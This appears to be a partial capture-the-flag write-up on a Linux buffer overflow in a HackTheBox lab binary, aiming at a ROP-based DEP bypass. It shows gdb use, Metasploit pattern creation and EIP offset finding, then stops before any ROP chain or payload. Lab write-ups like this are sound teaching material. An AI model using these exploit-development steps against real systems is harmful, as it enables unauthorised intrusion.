Linux Buffer overflow Data Execution Prevention(DEP) bypass with ASLR disabled
Note: this scenerio is in frolic htb machine.
ROP(Return-Oriented Programming) exploit-
- Download the binary into local machine for testing.
- Run the binary with gdb and pass a parameter. Parameter is getting printed back on the screen.
gdb ropr Golu
3. Creating and sending long pattern string:
/usr/bin/msf-pattern_create -l 100
r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
We got Segmentation fault!
We can use gdbโs pattern create option also:
4. Finding offset:
a) Note the EIP value(b7Ab) and pass it to the pattern offset script:
/usr/bin/msf-pattern_offset -q b7Ab -l 100
Also we can use gdb offset option: